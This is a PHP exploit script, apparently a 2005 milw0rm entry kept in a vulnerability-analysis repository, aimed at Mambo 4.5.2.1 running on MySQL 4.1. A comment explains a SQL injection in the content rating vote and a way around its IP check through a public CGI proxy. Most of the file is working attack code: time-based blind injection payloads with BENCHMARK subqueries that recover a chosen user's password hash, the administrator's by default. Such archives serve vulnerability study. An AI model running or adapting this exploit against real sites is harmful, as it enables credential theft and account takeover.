lilbool/vuln-code-analysis
0
1#!/usr/bin/php -q
2Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
3
4<?php
5/*
6Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
7*content rating using sub query to select from mos_users
8
9Requirement:
10
11 PHP 4.x with curl extension
12
13Description:
14
15The problem occur because $user_rating variable is not properly sanitize when for use in SQL query
16for UPDATE statement.
17
18>From content.php (components\com_content\content.php)
19-----
20function recordVote ( $url, $user_rating, $cid, $database ){
21 $cid = intval( $cid );
22
23 if ( ( $user_rating >= 1 ) and ( $user_rating <= 5 ) ) { <--- 1st Checkpoint
24 $currip = getenv( 'REMOTE_ADDR' );
25
26 $query = "SELECT * FROM #__content_rating WHERE content_id = $cid";
27 $database->setQuery( $query );
28 $votesdb = NULL;
29
30 if ( !( $database->loadObject( $votesdb ) ) ) {
31 $query = "INSERT INTO #__content_rating ( content_id, lastip, rating_sum, rating_count )"
32 . "\n VALUES ( '$cid', '$currip', '$user_rating', '1' )";
33 $database->setQuery( $query );
34 $database->query() or die( $database->stderr() );;
35 } else {
36 if ($currip <> ($votesdb->lastip)) { <-- 2nd Checkpoint
37
38 $query = "UPDATE #__content_rating"
39 . "\n SET rating_count = rating_count + 1,"
40 . "\n rating_sum = rating_sum + $user_rating," <--- PROBLEM
41 . "\n lastip = '$currip'"
42 . "\n WHERE content_id = ". $cid
43 ;
44 $database->setQuery( $query );
45 $database->query() or die( $database->stderr() );
46 } else {
47 mosRedirect ( $url, _ALREADY_VOTE );
48 }
49 }
50 mosRedirect ( $url, _THANKS );
51 }
52}
53-----
54User may escape 1st checkpoint by passing (1-5)(string) value to $user_rating .In PHP beginning
55number in string will be use when comparing number with string.
56
57The 2nd checkpoint will check previous user's ip rated the content. Update statement will only
58execute when previous ip is different from current ip. This proof of concept will use cgi proxy from
59http://projectbypass.com to make it possible.
60
61In mySQL 4.1 and above it is possible to use "sub select" in any SQL statement. We will using
62"blind fishing" with sub select to fetch password hash (md5) for supplied user id.
63
64Exploiting step:
65
661) rate from different ip
672) check time for standard page loading
683) check time for page loading when benchmark executed.
69 * If error occur mysql version is < 4.1 (no support for sub select)
704) double the benchmark value. Blind fishing will use this value to do the query.
715) blind fishing with sub select.
72
73Special thanks:
74
75al3ndaleeb at hotmail.com
76
77*/
78
79if (!(function_exists('curl_init'))) {
80 echo "cURL extension required\n";
81 exit;
82}
83
84ini_set("max_execution_time","999999");
85
86$benchcount = 150000;
87$aid= 62;
88$cid = 2;
89$charmap = array (48,49,50,51,52,53,54,55,56,57,
90 97,98,99,100,101,102,
91 103,104,105,
92 106,107,108,109,110,111,112,113,
93 114,115,116,117,118,119,120,121,122
94 );
95
96if($argv[1]){
97 $url = $argv[1];
98 if ($argv[2])
99 $aid = $argv[2];
100 if ($argv[3])
101 $benchcount = $argv[3];
102 if ($argv[4])
103 $proxy = $argv[4];
104}
105else {
106 echo "Usage: ".$argv[0]." <URL> [userid] [benchmarkcount] [proxy]\n\n";
107 echo "\tURL\t URL to mambo site (ex: http://127.0.0.1)\n";
108 echo "\taid\t userid to get (default: 62 (admin))\n";
109 echo "\tbenchmarkcount\t benchmark count (default: 150000)\n";
110 echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
111 exit;
112}
113
114
115
116// rate from different ip (using http://projectbypass.com)
117
118$projectbypass = "http://projectbypass.com/nph-proxy3.cgi/010110A/";
119$ch = curl_init();
120curl_setopt($ch, CURLOPT_URL,$projectbypass.str_replace("://","/",$url)."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1");
121curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
122$res = curl_exec($ch);
123curl_close ($ch);
124
125// standard page loading time
126$start = time();
127$ch = curl_init();
128if ($proxy){
129 curl_setopt($ch, CURLOPT_PROXY,$proxy);
130}
131curl_setopt($ch, CURLOPT_URL,$url);
132curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
133$res = curl_exec($ch);
134curl_close ($ch);
135$stop = time();
136$sloadtime = floatval($stop - $start);
137echo "standard page loading =".$sloadtime."\n";
138
139// benchmark page loading time
140$start = time();
141$ch = curl_init();
142if ($proxy){
143 curl_setopt($ch, CURLOPT_PROXY,$proxy);
144}
145curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1,rating_sum=(select+1+from+mos_users+where+if(2>1,benchmark($benchcount,md5(1)),1))+where+content_id=$cid/*");
146curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
147$res = curl_exec($ch);
148curl_close ($ch);
149$stop = time();
150$bloadtime = floatval($stop - $start);
151echo "bencmark page loading =".$bloadtime."\n";
152
153// check if SQL query failed
154if (ereg("DB function failed",$res)){
155 echo "[x] mysql < 4.1 detected - not exploitable\n";
156 exit();
157}
158
159if ($bloadtime <= $sloadtime + 2){
160 echo "[x] increase your benchmark count\n";
161 exit();
162}
163
164echo "Take your time for Teh Tarik... please wait ...\n\n";
165echo "Result:\n";
166echo "\tUserid = $aid\n";
167echo "\tPassword Hash = ";
168
169// starting fetch password
170
171$benchcount = $benchcount*2;
172
173for($i= 1;$i< 33;$i++){
174 foreach ($charmap as $char){
175 $start = time();
176 echo chr($char);
177 $ch = curl_init();
178 if ($proxy){
179 curl_setopt($ch, CURLOPT_PROXY,$proxy);
180 }
181 curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1,rating_sum=(select+password+from+mos_users+where+id=$aid+and+if(ascii(substring(password,$i,1))=$char,benchmark($benchcount,md5(1)),1))+where+content_id=$cid/*");
182 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
183 $res=curl_exec ($ch);
184 curl_close ($ch);
185 $stop = time();
186 $xloadtime = floatval($stop - $start);
187 if (floatval($xloadtime) > $bloadtime){
188 $hash .= chr($char);
189 break 1;
190 }
191 else {
192 echo chr(8);
193 }
194
195 if ($char == 103){
196 echo "\n\n\tNot Vulnerable or Something wrong occur ...\n";
197 exit;
198 }
199
200 }
201}
202echo "\n";
203
204?>
205
206// milw0rm.com [2005-06-15]